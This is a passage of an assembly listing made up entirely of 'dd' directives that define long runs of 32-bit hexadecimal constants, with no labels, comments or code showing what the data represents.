		dd 0E901472Dh, 71130DF8h, 18D798D8h, 0F01CE8B8h, 9B424454h
		dd 0E0B53386h, 3EAF0178h, 2903AAE1h, 37D39E46h,	0F0391FE1h
		dd 0BC1404C9h, 4AE07554h, 9047E444h, 0C17FA440h, 63EC6BDDh
		dd 4A4E010Fh, 0CB5A8058h, 48F86DF4h, 0E4C040AEh, 0E877AD57h
		dd 6707EF79h, 0DD2D5B6Fh, 0D31141A0h, 8508CB09h, 3479EC18h
		dd 0DD006BF7h, 22CBB642h, 1DF7B04h, 4BC1585Dh, 0F2069F0Eh
		dd 0AB2D8CD2h, 1CFE36h,	0A4B410C7h, 0B5012829h,	784C0C77h
		dd 64CE80E5h, 5EA200ACh, 0C181F34Fh, 8C007B24h,	9E089B01h
		dd 99B705A1h, 0DCB2805Ch, 0B1A29438h, 0A88DE000h, 8187B99Fh
		dd 0C55107F9h, 4484C6E8h, 0C3F090E5h, 0BF0361A2h, 47FAD1E3h
		dd 0A884AC41h, 0F21374A2h, 6986027Fh, 38512A4Fh, 1244A409h
		dd 913AC080h, 41AA3BABh, 0B6F44704h, 6FECE4FDh,	0EFE1B800h
		dd 691CE804h, 0B4961242h, 2E02CA5h, 0DEE602E1h,	40438050h
		dd 42DC1892h, 54784700h, 0A0EA2286h, 0E00F488Fh, 50278710h
		dd 0AA8BC1B8h, 2ABC798Ch, 0FE6211ECh, 16AB22DBh, 2BCA8Ch
		dd 2A565C1Fh, 0CB0B7C99h, 988A373h, 926471C4h, 8400BBA4h
		dd 70648C24h, 46D80012h, 1EB4426Eh, 2207E066h, 215D3272h
		dd 76D75A80h, 0C90F6028h, 103444E7h, 8C278B05h,	0A0886908h
		dd 625F0353h, 0FF7C7B03h, 72EAB7E9h, 100474F4h,	0A22A7A9Eh
		dd 63C4D8E9h, 841B247Eh, 0BCA5C019h, 0CA0400F7h, 0E36D1E38h
		dd 9CEAB7A6h, 0FC8B5F4Eh, 202C991Dh, 0DC502E00h, 9EEC20F1h
		dd 0B4D703FAh, 9A284464h, 5F46D2C0h, 36071C7Eh,	67C2DECCh
		dd 0AF9EBD8Eh, 0E3E4690Fh, 0C51BFE78h, 2E0258E3h, 0A5164FE7h
		dd 0A047445Ch, 0E98BBC10h, 2E1000A4h, 0F0789B6Bh, 0BEF0D5C1h
		dd 5C06EF02h, 601D0854h, 7523550h, 1B8B966Bh, 8FAD4h, 2BACC0C3h
		dd 0FE04817Eh, 0E15646A2h, 799EFC8Ch, 0DDBA00ECh, 0F3F4987Ch
		dd 2C00B795h, 5DBC86A8h, 9DA514DFh, 9C619432h, 0A608401Ch
		dd 0A09480FFh, 7933B440h, 7A1B0144h, 5DD1A67h, 0D6B9F0B6h
		dd 6D6EFB2Ch, 5ABAFA0Bh, 3984B0F8h, 0D104F8E1h,	0E088A91Ah
		dd 6C9507FCh, 0C39E001Ch, 831431F1h, 0C558578Ch, 50458008h
		dd 1ECC41A2h, 1415DE2Dh, 7A250838h, 7701CC44h, 671F3C1Ch
		dd 9828462Fh, 46ABA2C4h, 44101979h, 0CF487EDEh,	3A9609FFh
		dd 0C084CAE2h, 29C289C8h, 8415B2h, 5D8A2A1Eh, 0F900E0CCh
		dd 87A8AA72h, 3EBC19h, 42E7B907h, 0AD2EBB14h, 4AF48F5Ch
		dd 0D94C88h, 0B6220B66h, 0BC091C08h, 3E14CA00h,	329B8516h
		dd 0FFE525DCh, 4278C804h, 0FC7C6634h, 28C54BA0h, 1378D400h
		dd 0C8C0A5Eh, 42188B27h, 0AC7FC1B8h, 219E2584h,	8A6910E4h
		dd 0FC284B8h, 2C8A38ECh, 4AC627Ch, 0A10B7C10h, 0E7D02F20h
		dd 0A2923D63h, 22FB1B16h, 2880E6F0h, 70F5783Dh,	0A8E44612h
		dd 0A41C58F1h, 4C1812Dh, 0C84B58B8h, 0B6019564h, 0C588334Fh
		dd 36E0B349h, 2F8B8CAh,	0A9E0C09Eh, 80A5F18Bh, 93C8F4FCh
		dd 6D47D700h, 18B25A1Ch, 0D31B025Ch, 81B57852h,	0F9CB8661h
		dd 1038AD2Dh, 4A09DC8h,	13565EA3h, 45658009h, 6FE73781h
		dd 0CC541C23h, 44C98884h, 71A4086Eh, 52B1CF80h,	0F66B2486h
		dd 1F4B0E97h, 0A8806D56h, 6E5329Eh, 8F46BB13h, 3D0000B2h
		dd 0FA911453h, 0F5EE7E75h, 22679B00h, 0B260E62Dh, 0E9FD0B68h
		dd 0AA8271E5h, 47EF1B4h, 0A66E6100h, 0B6F903h, 5486E8FFh
		dd 45FE7BB5h, 7500E0E0h, 0E1DA9AACh, 3A5E8F3Eh,	541F65C0h
		dd 52A58Bh, 2C44712Ch, 1F8C44Bh, 3913F438h, 0DAB26DB6h
		dd 43799CC0h, 886CD503h, 0F084A966h, 2E62AB0Dh,	60144150h
		dd 0B2B5DC51h, 30BD2B00h, 0FE3637A2h, 0C86E4BA5h, 5D1F31B4h
		dd 0AD80CDB4h, 1061CE4h, 8B7A0075h, 0D630158Ch,	512CB279h
		dd 0E14034C7h, 0E4751Fh, 55B687EDh, 397C8A35h, 0E00AB78h
		dd 123E0A7Dh, 278CA1B2h, 0C8EB1605h, 7E28E809h,	0F6872E1h
		dd 630A1EADh, 0AA7BBD04h, 5D962020h, 0E9740106h, 6BA07EEAh
		dd 103C3836h, 7F01837Ah, 104445ECh, 0ADDC3039h,	87D988h
		dd 0FA2D82B1h, 2E75476Dh, 0EEF5BE00h, 76DB9992h, 1A54BEDh
		dd 0E7E4B164h, 6CC02381h, 409A9046h, 87887FA2h,	489004Dh
		dd 0F2270E96h, 0C1019486h, 0FF01C7A9h, 86C211Ah, 0D8B2A4h
		dd 761C377Ch, 719CA6h, 527FC10Ch, 1DACC789h, 278018A0h
		dd 8E467B25h, 40A36AB4h, 0E69500BBh, 9111816Bh,	3788002Eh
		dd 0E1334270h, 4407B574h, 26CBFB77h, 0FE403424h, 4E9BFF0Ah
		dd 0E5D4A600h, 0A483F567h, 39EE057Fh, 0C59C5447h, 4360A26Ch
		dd 0A18200C0h, 0D04A0BE6h, 29CE02F2h, 8C5C8B6Fh, 0C40FB842h
		dd 64E085A2h, 9E83FCC5h, 0C25FDAD7h, 41D0F41Eh,	0C0601903h
		dd 0C0014AC6h, 0D8FD66ECh, 29D0755Bh, 0B770B0A2h, 88DF6804h
		dd 0ED24C534h, 4700A056h, 2DA47C28h, 0D7C406ACh, 71D66E8Ch
		dd 4FDD48A0h
		dd 2C0789E8h, 0D35755C9h, 4EE745C1h, 0CF1D69D8h, 0AFF67729h
		dd 0C1CAE301h, 2828947Ah, 25FCE7C5h, 425F0780h,	91C15E63h
		dd 304C36B8h, 75026F27h, 2976AD71h, 15F4913Ch, 0C2C0C510h
		dd 8B4CC800h, 6BC1E025h, 0F6780E04h, 0AAA5EC23h, 4B88B38Ch
		dd 0E0F4D0C4h, 0B560B0A6h, 0A2C88C98h, 18791F12h, 400D4088h
		dd 8D4CAC0Ch, 0B7A48010h, 120EEC56h, 97FEC0A3h,	74AE483Ch
		dd 4CAA5140h, 108C0731h, 8028B001h, 0A9358F6Ah,	2CB58D19h
		dd 54295F51h, 0C81E4A3Dh, 649EC015h, 0ADF325D8h, 0CF43D900h
		dd 376353E8h, 28A0B561h, 0A4CE2886h, 0B4E08C4Ah, 0B610F5DCh
		dd 0C07D9FE1h, 7800E8ECh, 43A081DBh, 28EFAFABh,	2086B71h
		dd 9A581D8Dh, 9E01A801h, 0C534278h, 1C104581h, 4A87FDECh
		dd 89CB4C4h, 746E97h, 7C6E4CE6h, 0AA9AFADAh, 0A450FC91h
		dd 0D9640B87h, 3070D090h, 44B82B7Eh, 17AAB723h,	1F980B57h
		dd 0E78F245Bh, 3A220214h, 2BD0F6E0h, 0CB8BE2F8h, 0ED025C8Ch
		dd 0DCE42001h, 4C090F2Bh, 0B7040F2Fh, 2781FD42h, 0F1D5CA4h
		dd 4C50F04Ah, 10FD8434h, 5E5DA9h, 8856E77Fh, 0CDE46960h
		dd 2268E15Dh, 47A894E5h, 0C91C0C8h, 5CA74D86h, 5007013Eh
		dd 9B78C342h, 3860DC21h, 79AB44AFh, 14907F77h, 0A8476B01h
		dd 8E16963h, 0CACC6092h, 0D8111ACh, 62003322h, 0C233871h
		dd 1D13010Bh, 7D50168Eh, 7C48E100h, 855177D2h, 8184252Fh
		dd 2FFAD13Ch, 0BD4BE9CCh, 0DFD4D898h, 30EF7800h, 9EB2D080h
		dd 75B5032Ch, 77B336Ch,	1A48608Fh, 0A800EFD4h, 8F98BFAAh
		dd 21EFEF4h, 0B70501B4h, 4460F6C3h, 6709589Ah, 10697E90h
		dd 2E3AC30h, 0B22DEC24h, 608030CBh, 40AA8566h, 178FF800h
		dd 37A812EBh, 920D0090h, 0B420053Eh, 58C01663h,	672A5053h
		dd 0C0C10E40h, 0BD2174B8h, 41694354h, 41EF4508h, 3289AE14h
		dd 57CC0514h, 4818C454h, 0D76D028h, 11886EB8h, 7D080260h
		dd 6343CCD6h, 0EAE7C83Ah, 0E0BA00E2h, 0E9D2829Ch, 3D00F48Ah
		dd 640A672h, 1C17D470h,	402FDCC8h, 28447607h, 0F426868Ah
		dd 0E3081CB5h, 63878726h, 40C9C79Eh, 668CA728h,	90EE6B2Fh
		dd 267650BCh, 2087ADh, 9C70C294h, 0B6091AA5h, 54A96FE6h
		dd 0A6864490h, 24802094h, 17985246h, 0B30825DBh, 72B2744h
		dd 6D518820h, 226E3B45h, 981ACD70h, 3BF143F4h, 9F0D0D6h
		dd 2C6BE042h, 0CE1EA402h, 0EC6014E2h, 0E312E4D5h, 0BC320581h
		dd 0B7A0403h, 3D4098C8h, 0E57900D9h, 7F8DB678h,	2D004155h
		dd 25F78468h, 291E1C9h,	6C2B899Eh, 50823845h, 0C510D96Eh
		dd 8F7B3730h, 0FD1640E0h, 0CBF8D1B9h, 2E090BDh,	34542415h
		dd 0F746006Eh, 28804B19h, 0A8087A24h, 7607AF09h, 8A60CF58h
		dd 228DF269h, 0CCA6FC17h, 885EB48Ah, 943F9A48h,	2A3E006Fh
		dd 6BF37D2Eh, 0A0C374E1h, 7561B6F9h, 0DC1E5013h, 73834493h
		dd 0D686A300h, 0A478EDE4h, 0A5F609EFh, 0DC7C893Ah, 0DCF14F40h
		dd 0A70200BBh, 678FDD56h, 43005706h, 1890AF23h,	1F2DE1D9h
		dd 2F41D236h, 569ED810h, 64B5A925h, 0DEE52294h,	11197E2Fh
		dd 8F17FEDCh, 0B975C520h, 89040A3h, 6EAED600h, 956D43D3h
		dd 56423E4Ah, 34F82B05h, 0EB91F74h, 3AA7BE75h, 0CD000FD3h
		dd 3C0AD459h, 7F45C517h, 8260FC87h, 13C0F44Dh, 0CCFE1BE7h
		dd 0EA09FC28h, 0D29A376Bh, 6D8F1240h, 0C0800083h, 93F81B78h
		dd 653492BFh, 5B188B20h, 0DC91A182h, 6A3F0041h,	94D82020h
		dd 424904BDh, 0B26D87A5h, 80E33814h, 40BCF36h, 0AE4F56h
		dd 1B68438Ah, 0A5A349DFh, 74A2B4B8h, 3464005Fh,	0F0DEA626h
		dd 377E178Eh, 256CA39Ch, 0B08871FEh, 0D2DDF5D8h, 0BC0088B0h
		dd 2EA97957h, 27FD8FFFh, 0C94176h, 6C7966h, 2F6C38B4h
		dd 3F853257h, 0A9801087h, 0BCE0B151h, 0D10049ABh, 91AAF543h
		dd 0F05EA50h, 219EC758h, 0EF086DA0h, 0FC771989h, 1F53D000h
		dd 0F501AC2Bh, 5229017h, 0B186C909h, 0B4EC0065h, 0A3C5D644h
		dd 7BA96625h, 0C86110A8h, 0D51F4047h, 5600D214h, 0C8C048FBh
		dd 1E584ADh, 760BFF81h,	0EA47F117h, 42CDD120h, 0DEEE00A0h
		dd 0E6C7D6F8h, 9D000B39h, 64AEC69Ah, 94E519F6h,	63344228h
		dd 0FCB314E6h, 1800449Fh, 0FEDA26CBh, 9CE2769Fh, 0F7EA83D0h
		dd 90B83FC6h, 16957E23h, 502E0088h, 2B289D7Dh, 0B892A968h
		dd 25AC1B25h, 28C8E6B8h, 0B43F0764h, 0D13EF69Fh, 78B33022h
		dd 0AFC800D0h, 0AD1B9EDBh, 0AC8CA94Ch, 0DC945FE2h, 0BB75E400h
		dd 0E5211CD7h, 49351417h, 961DB1C3h, 0A02E406Bh, 0CBED45D1h
		dd 867CA116h, 858AFC0Bh, 0D4E5E885h, 8D450803h,	2DB1409h
		dd 0FBDF7694h, 0CBF20358h, 67C88DFFh, 0D604C11Fh, 0C315B6A2h
		dd 0AEF0DE42h, 920080F9h, 3AE26A5Eh, 0ACFD10B0h, 647127DEh
		dd 0B71B00BCh, 104E1EEEh, 6F058F66h, 7BDB9FACh,	0F04CF4BCh
		dd 0CE03400h, 4963D0C3h, 922ED502h, 0DC44ADA3h,	844E8718h
		dd 60C50E5Dh, 92DCEDFCh, 3C0014BCh, 4C7E644Bh, 426ACA2h
		dd 3E05306Fh, 2895F5A1h, 8819B888h, 0E90C2279h,	329DAD7Ch
		dd 0B0CC021Ah, 1DAF5187h, 8A21E860h, 9D0FFCB8h,	0D25063C6h
		dd 14085450h, 4814C5AFh, 4B3C5680h, 0E8BFCC8Dh,	0C02214C8h
		dd 240C0926h, 8CC42Dh, 2320334Bh, 0B1C116B3h, 35C58300h
		dd 9F718B63h, 5802B7A4h, 0E720375Fh, 80DF78FCh,	0F800928Eh
		dd 0FE565BC6h, 125D8CA5h, 0FC4FD5C5h, 0D3A384E4h, 54691909h
		dd 897108B9h, 0AAC1C0BCh, 0CDDD1000h, 0D0C5EAD3h, 2B6B0302h
		dd 45763759h, 4813F9F3h, 9CE4FDFEh, 684C00E4h, 0EF55CE2h
		dd 0F6047639h, 1F88A564h, 0FA13B4B2h, 1D948880h, 1C4E3600h
		dd 0F2D7146h, 13A103F6h, 0DEE64872h, 74545BDAh,	0AA8AAC40h
		dd 24B90FEDh, 300ADA5h,	0BF19A339h, 1260342Dh, 543C604Ch
		dd 0A6890092h, 5E0B3345h, 6F17B077h, 0F400F9C1h, 7B615C15h
		dd 53450257h, 0BA84E9A7h, 0B13438C0h, 0C5DE8903h, 0C8A97F47h
		dd 5CCBACh, 0FE872F41h,	0BB1010Ch, 4E8A250h, 0F30849Fh
		dd 53623445h, 0A5CAD44h, 0D40BAA9Ah, 0D5DB8743h, 0A5F474D1h
		dd 0FC80947Ch, 0D55EEA7Bh, 0E84D2307h, 1C67B328h, 97862E50h
		dd 2F64B606h, 80C63C32h, 75E15300h, 1333A22Ah, 901A006Fh
		dd 886919DBh, 490FAAA6h, 418CC7F8h, 4276A728h, 89B918C3h
		dd 0A516905Ch, 0F098B74Eh, 7FA3177Bh, 38CC9ADh,	3B9BFCF2h
		dd 0C185ECB9h, 1E50802Bh, 63E33518h, 3D3F3069h,	15B2CD40h
		dd 6C7A2501h, 86D79EBAh, 904699FCh, 0B0FF0F9Ch,	2780949Bh
		dd 68117348h, 88022F7Ah, 27EB5E7h, 1E28C1D4h, 98407912h
		dd 0C02EC6Eh, 0FDE7630Bh, 8E24547Dh, 9BA0AE95h,	0D59CBA2Fh
		dd 30ECE500h, 0F27ECF2Dh, 3FEFE6Ch, 83A95F88h, 0A1002789h
		dd 0A76A18BDh, 18D67915h, 7E1962C0h, 3A4F2537h,	0ECA2B064h
		dd 0E7780078h, 6096EA93h, 4724F772h, 79817459h,	97B986D8h
		dd 97F31BC4h, 0C4F17412h, 842B8E89h, 18E83950h,	18281788h
		dd 0BAE4A809h, 2D1402A3h, 8030460Ch, 1EAF40h, 666B74FBh
		dd 7F827CE1h, 0D4203BF3h, 0B816487h, 0E1B09E33h, 0E019B809h
		dd 0D2E8316Eh, 38E7C910h, 0CD8F7974h, 0EF605488h, 9AC199Eh
		dd 5ED14501h, 0E4B22C2Dh, 16C474h, 40AE9B6h, 9ED42922h
		dd 0B4D9D209h, 71F48764h, 0B1AF23C0h, 20C412AAh, 0E158C775h
		dd 2AFA1A28h, 118BC422h, 5DB0DFD1h, 0C213C3BCh,	1C10CFA6h
		dd 4F8500B8h, 0E312F981h
		dd 2F7C0B8Ch, 3879E5C8h, 883C7203h, 5D0E301Ch, 0BCC66EA8h
		dd 3BC9BA04h, 44B2E1B2h, 4631C300h, 52BDA885h, 88094B0h
		dd 294A76AAh, 671034B2h, 0B74EC12Ch, 622FC2FAh,	0E85978C0h
		dd 38D41E3Eh, 426FA3Fh,	92002CDBh, 4BFA9EE5h, 0F156121Bh
		dd 4F941C19h, 3F84FED3h, 5550F063h, 0E8EF2CBEh,	0A8CA4B22h
		dd 38C5E6C1h, 0D7508034h, 5F66440Ch, 8FC10C0h, 2FE7C1Fh
		dd 63379E0Bh, 5E3094FAh, 7085B9AAh, 6F520033h, 0F8A8061h
		dd 79ECD144h, 0DF131490h, 6300387Eh, 0F5FD817Bh, 0FAEEC4Ch
		dd 6A6943A4h, 0B7A26E81h, 551280EAh, 0AFF97356h, 790609E4h
		dd 0F0F9E2CCh, 4261440Eh, 45FD23C5h, 0A3696E78h, 7108C0FBh
		dd 0CE824E0Dh, 8A00E70h, 2D9FECEBh, 44797B2Fh, 14D73918h
		dd 7FEFC300h, 0B5AC782Ch, 6BA28901h, 0DB603702h, 2971618Ah
		dd 0B7E70454h, 1806EB8Ah, 4228EA6Bh, 82E10BFh, 84460E80h
		dd 38F97C1Ah, 16B1954h,	3309C730h, 0B3E71208h, 0ECA08B12h
		dd 881EE8A9h, 4607E6A4h, 654E2082h, 9A8C5AC0h, 0A21B3DC8h
		dd 875CD1DBh, 0FEC4171Ch, 42C1A4ECh, 91ADDE63h,	884B5730h
		dd 880195E8h, 1A6E866Ch, 0D641E4F3h, 0CDFCA989h, 0B1631D81h
		dd 8817BCAh, 18C59EB2h,	84F0C10Fh, 5BCC1F08h, 88985080h
		dd 326D00E5h, 0D19AEB1Bh, 0E9EAB613h, 1F31E600h, 90E18C4h
		dd 1B1D7A73h, 400B72EEh, 0E5BBA3E7h, 5118596Fh,	40454E1Eh
		dd 0F6444C2Fh, 95021915h, 539DFB2h, 435603Eh, 28D575F8h
		dd 0F64807EFh, 96CF1CFCh, 5F254099h, 0EE37D2DBh, 782F8432h
		dd 34DB134Ch, 0EB8D9900h, 702E323Ah, 0CBBE0341h, 109CF47Fh
		dd 0EF0E20F6h, 9E2F17h,	0B8BE49AEh, 43E901E3h, 0D24A04B6h
		dd 0B0498033h, 0DB91C924h, 362118FBh, 0E6921920h, 5CBF400h
		dd 35D1A59Eh, 0A210025h, 7E4DB8D8h, 0B7E09815h,	8484B928h
		dd 0F459C84h, 14232FE0h, 0C0F6B508h, 2180FB88h,	3D983B4Eh
		dd 0C0870068h, 2EAC070Bh, 8201DFE0h, 160A8CC5h,	3080CAF2h
		dd 3CD61A13h, 41C5CD66h, 0D02192F7h, 0D8F8B8EFh, 0D611C00Ch
		dd 16272410h, 0BF798960h, 50C7E72Fh, 4E8892h, 0EFBE9A44h
		dd 0AE4D8785h, 0DA3EB808h, 60E48030h, 0BF0696D4h, 37362611h
		dd 0F62FEE00h, 6DAEC3C1h, 0D9160514h, 0DD4A0030h, 42E49264h
		dd 2A2D3AB8h, 21E6617Ah, 4094D260h, 33D348B0h, 7C481778h
		dd 0E1B88524h, 4945440h, 780DE950h, 412A0E3Eh, 7E65AC4Dh
		dd 0E4EB80D6h, 96FA3DB0h, 0CA00B2F2h, 0D814ED2Fh, 54623CF3h
		dd 60AD90F7h, 51EF6116h, 457E2003h, 0E5B43700h,	6E766307h
		dd 0CFF409D5h, 1821B109h, 414E100Fh, 13E764B4h,	398EF824h
		dd 95D10F3Ah, 9F20B298h, 0DEE272B8h, 12FEC502h,	80CF9A3Ch
		dd 28440818h, 13891DDh,	4A3AB64Dh, 815A0CDCh, 2BF002Bh
		dd 4320C086h, 0E01B2A23h, 0B5F75202h, 8030E417h, 0B30BA080h
		dd 0D8C0030Eh, 15A8EB9h, 721388B0h, 0BFE8C703h,	1BA0838h
		dd 2AB20F61h, 0E08607DCh, 62039561h, 5B8E7CC9h,	0F7A90CCBh
		dd 1631239Dh, 0F4C0EF54h, 0DA410100h, 3ED95570h, 682E0C25h
		dd 168C843Ch, 0C029E060h, 0E60EFEA0h, 4EA7866h,	0B30888D3h
		dd 10589026h, 7101973Bh, 0B7CF4DA8h, 0F8203D5Ah, 7044F8B5h
		dd 89CE60E7h, 66F47AE4h, 3C14BFE4h, 88E0F863h, 0A02C8009h
		dd 4C360E76h, 43CC7300h, 1CD6D5BFh, 3B8501B5h, 0B8F81FEDh
		dd 0C040CAB1h, 1A41739Fh, 7C9E2850h, 948E05BEh,	245B969h
		dd 0EB49EEE0h, 0CB277848h, 971C30E1h, 0C1EA1688h, 7F8FE9E9h
		dd 64B440F3h, 700F533h,	8B2D50F7h, 240EBC7Dh, 0EC15B24h
		dd 50F95649h, 0AF9FDCB8h, 57EE990Fh, 8E96608Fh,	0C8715B2Ah
		dd 20866228h, 447822CBh, 6D783CDBh, 154480A4h, 75DA3803h
		dd 6F9F5400h, 8522F8E0h, 0D2180619h, 3C500AC8h,	54377B4Fh
		dd 89EC21h, 0A512638Dh,	0ECB9687Ah, 0ED4F3301h,	67B20AC0h
		dd 9247FC4h, 9E588FBEh,	821A084h, 1038A413h, 248A84E6h
		dd 0C8C49050h, 0DD0AC01Dh, 0A50017C2h, 868E42C7h, 58802357h
		dd 0A84802B1h, 31E990C0h, 3E00507Ch, 0C16A7556h, 0EA15CCC6h
		dd 42F93D85h, 105B348Ah, 313B0894h, 0E38F0905h,	8B11348Ch
		dd 597CB0E3h, 0C6988A0h, 4D4EEF18h, 883D3721h, 0C80360C3h
		dd 0D336201Eh, 339CF8D2h, 32216A5h, 8E74333Ah, 26BBD580h
		dd 782C824Ch, 73085850h, 13E61E04h, 0E4882B4Ah,	0E9F30BB6h
		dd 0A30070EDh, 870A8F94h, 0B3677F02h, 85AF5BDEh, 48085AD0h
		dd 539A8032h, 0B4B23302h, 809C8658h, 11631797h,	4CD49073h
		dd 4CCF40C9h, 362525h, 0F4F97020h, 0B9111BD1h, 91399D2h
		dd 0BFB820BAh, 36003545h, 0B6BE8B61h, 711A54h, 0B125E522h
		dd 0B2E07446h, 0F3A64C00h, 0DB7CBABFh, 0E5280681h, 693C36C1h
		dd 85A9A400h, 6322ADB9h, 6F7600AFh, 0CE6431F1h,	602E187Eh
		dd 2D01D5B8h, 0EEC770AEh, 9AD030h, 9E5D98CBh, 8702EB19h
		dd 82A89C00h, 212B2CB9h, 0B1790016h, 0A1B5354Ah, 0F100AFC3h
		dd 0E614B398h, 9FE3E5h,	11A61219h, 45B5610Dh, 14603C2Eh
		dd 88AD44h, 2D9600DCh, 5AEF149Bh, 54B197F4h, 0CB10E024h
		dd 0DCA5BE8Fh, 60B40942h, 0A90B8481h, 497CFF82h, 1A091E7Eh
		dd 8BFE647h, 4940B480h,	4CCDF3EEh, 9208F829h, 200FC4Ah
		dd 0E773191Fh, 13893098h, 57FF2349h, 0FA0DCC1Dh, 0F7C7DC40h
		dd 1E449BE4h, 0DF1A1Ch,	63CD384Eh, 9C03B52Bh, 3D250EBAh
		dd 525CA827h, 0F4D0A01Eh, 813F6494h, 487C8816h,	35B09100h
		dd 0E74E9A74h, 61FF00BEh, 0C19CEEEFh, 2A263841h, 0FE1020EAh
		dd 8F007090h, 4E3A3C8h,	3800AE06h, 3C7FBAA7h, 6E8B7Ch
		dd 0A5E913E2h, 0DB30B60Bh, 5CD0F3EDh, 0F1045123h, 0EA371280h
		dd 0DC18A4D0h, 4C0905F5h, 82F42A28h, 0A52FCAB8h, 0A488B008h
		dd 0DA760B17h, 9025CF36h, 0C014006Eh, 4AB85A26h, 0ED733905h
		dd 0C98454A6h, 877C88h,	0BDF13F0Dh, 0E11B270Eh,	42143701h
		dd 0B1EF01A7h, 0B332E840h, 826401E4h, 0B6AB5CCh, 0D35CC4C8h
		dd 13CEFB3Bh, 2A0113DAh, 0A201FEEBh, 60707470h,	0D64A08D7h
		dd 830133D0h, 21E9630Bh, 6070EEBEh, 2C68F8C5h, 129875E8h
		dd 7C1C0888h, 0E814EFC2h, 0E825B950h, 0B890E806h, 46E544B4h
		dd 0B47A4B0Ah, 0B6088084h, 4D0602F9h, 0C40010D2h, 0F83167h
		dd 632F19BDh, 90EC3016h, 0A46A5A02h, 0A17F3FB8h, 763270C4h
		dd 3F2F8070h, 8606ACE4h, 4908D288h, 0CBC76300h,	6139C317h
		dd 136D0084h, 360112E4h, 818908Ah, 0EE99E7B5h, 391D6773h
		dd 46479B8h, 0E82BE60Eh, 275541CBh, 3EDCD5CDh, 3709062h
		dd 9EA860E0h, 4948E470h, 58785274h, 701B8560h, 7DC6E800h
		dd 0EEA219E4h, 9E2A3E35h, 0C0601CD0h, 666D0B50h, 0F20AA548h
		dd 9C17B8CFh, 3E4D7840h, 235300A6h, 7F81749Eh, 0B83C28FBh
		dd 54097F25h, 233C715h,	450F95D0h, 7CB50190h, 24B8E269h
		dd 9A1E5601h, 0C40BEE5Ch, 1D5C98CCh, 123C0062h,	14A32F83h
		dd 6531D211h, 3536500Ah, 0ED375980h, 532AB67Eh,	91DA4802h
		dd 8212E166h, 298949A4h, 346EB498h, 9DE8AC00h, 0F295CF54h
		dd 0C04A0024h, 29130467h, 0D248FD87h, 1D8C80C8h, 0D15CDAh
		dd 29F9D380h, 0BFBC7179h, 2D106505h, 0C100B28Ah, 76EE3504h
		dd 0C438A314h, 70DCF940h, 813E3415h, 80E45C25h,	0F6F5D99Eh
		dd 0C97A00FEh, 5B9BEADAh, 0EE00B20Dh, 9156A920h, 0B874A5h
		dd 4C08235Ah, 7F182A17h
		dd 8FA0124h, 0F3D10680h, 718521h, 0CFF91D93h, 0C1034924h
		dd 392FA106h, 713A36h, 3471E146h, 0D0AE66AAh, 0E78D20EDh
		dd 0C5879C0Bh, 48601098h, 42974F6h, 0BE8D5049h,	1804C199h
		dd 3E6E442h, 272E8C4h, 5E3CB840h, 386036C2h, 0A9278A69h
		dd 39280045h, 3A29FA69h, 0C3ABFE1h, 9C11A675h, 0C27D216h
		dd 6985E880h, 7A0D7E8Eh, 598F622Dh, 0A2879F46h,	0C45367F0h
		dd 0E5D780EFh, 0FC79B288h, 9E1EEE04h, 0CB0D91Ah, 70EF4EB6h
		dd 0DC40309Ch, 0FAF67800h, 0D9D0B6C7h, 420C9089h, 3C2203h
		dd 5BB481A5h, 73D7BE7Fh, 7E9BDD00h, 0C3BB7530h,	0A8A21418h
		dd 0BF0880CFh, 13800AADh, 81DC5CBh, 0E850063h, 780DF4D8h
		dd 0F0B116EEh, 1D4AF500h, 9F2FEA6h, 0C2563CB9h,	441F5882h
		dd 9108940Ah, 39B98331h, 610912D2h, 82ADC2F0h, 0A417EECAh
		dd 880784h, 0BE821DAEh,	62F2007Ch, 0E1FB49A7h, 3B218602h
		dd 0E1C76F9Ah, 44D48F20h, 6E511595h, 0F6109C56h, 0CC202B2Bh
		dd 95BFC200h, 26C38D98h, 98CB8AEh, 0A809A64Bh, 4800080Fh
		dd 37CFF3FBh, 46B13660h, 5077735Dh, 184ACB0Ah, 62FE5001h
		dd 8322514h, 600F29B9h,	0A8DE3Ch, 0D644D5C8h, 0B6D93F10h
		dd 0D64AC12h, 4D70100h,	12565Ch, 0DEBFED2Eh, 2A0AB8B1h
		dd 0BA4A9C04h, 0A837B4Ch, 0A4C3F7h, 0B5E6DF59h,	5EA0F4D7h
		dd 8800D0B2h, 76E52A09h, 0DFA28AE2h, 0A76C06C0h, 101C180Fh
		dd 0CE03B0C8h, 0B063532Dh, 48174A8Ah, 6C06E442h, 0E8775576h
		dd 0B649E000h, 2ED8EE1Bh, 31360E8Ah, 7740CCC8h,	0F6138C9Bh
		dd 40DF9430h, 807BF538h, 75401F9Eh, 0F0BA188Bh,	0B4C218FAh
		dd 3F409C58h, 66A861D8h, 8A002B62h, 4781D33Dh, 631A43F0h
		dd 16DE3082h, 7F1015B0h, 8748202Ch, 221E832h, 0DE100FE2h
		dd 3B2184D6h, 2A0C40Eh,	217B4DCAh, 0FC3DDCh, 47FE85F3h
		dd 5408D36Eh, 4D0A0E4h,	0D2B8ED4Fh, 9058970Dh, 0EF5FA511h
		dd 4A7ACB03h, 0E0A1F812h, 0E0619DB5h, 0A9B400C8h, 0B7E1DD72h
		dd 0B0091B23h, 17DE5Ch,	36A3C540h, 0EA86129Ah, 18500030h
		dd 4C35F083h, 9D5FB809h, 97E8400Eh, 0CB7818B2h,	1266C803h
		dd 0CFF75801h, 3DB36019h, 204D1820h, 0C0FD03C8h, 20A7AAFFh
		dd 0C954F188h, 0E6008444h, 554F66E1h, 8AABD2h, 5605D4A1h
		dd 300E3D1Dh, 8E11C53Ah, 0A098FF22h, 70E52D73h,	0B6E70346h
		dd 62357984h, 20071EF9h, 11ED89F4h, 0A450E816h,	5EE011h
		dd 54673E51h, 0D2FFD3E2h, 19151B05h, 0D0C0DC42h, 26EA338Ah
		dd 0BC812E6h, 4A3735h, 4601CFF0h, 1CE9A3B6h, 898DB8Eh
		dd 0A8CE2127h, 0AC708800h, 0B819C21Bh, 7ADA2874h, 8A720BB8h
		dd 7C8FC62Eh, 928C1183h, 103CE4EBh, 0A0E9FBh, 7499811Ch
		dd 5C0FF865h, 1F870422h, 7E62E52h, 0E40011C8h, 72BE70BAh
		dd 331BD3A3h, 0FD085345h, 410E2103h, 0C0C14A70h, 0A4681DBh
		dd 0CA10A27Ch, 84C24C4h, 0B617D956h, 1CAD1404h,	0ED782C90h
		dd 9627015Ah, 9FC9FB83h, 7B0898F3h, 0E55221h, 2CAA8E5Ah
		dd 0E364021Ch, 0A6D21602h, 61BC6295h, 0F85020E0h, 2641C581h
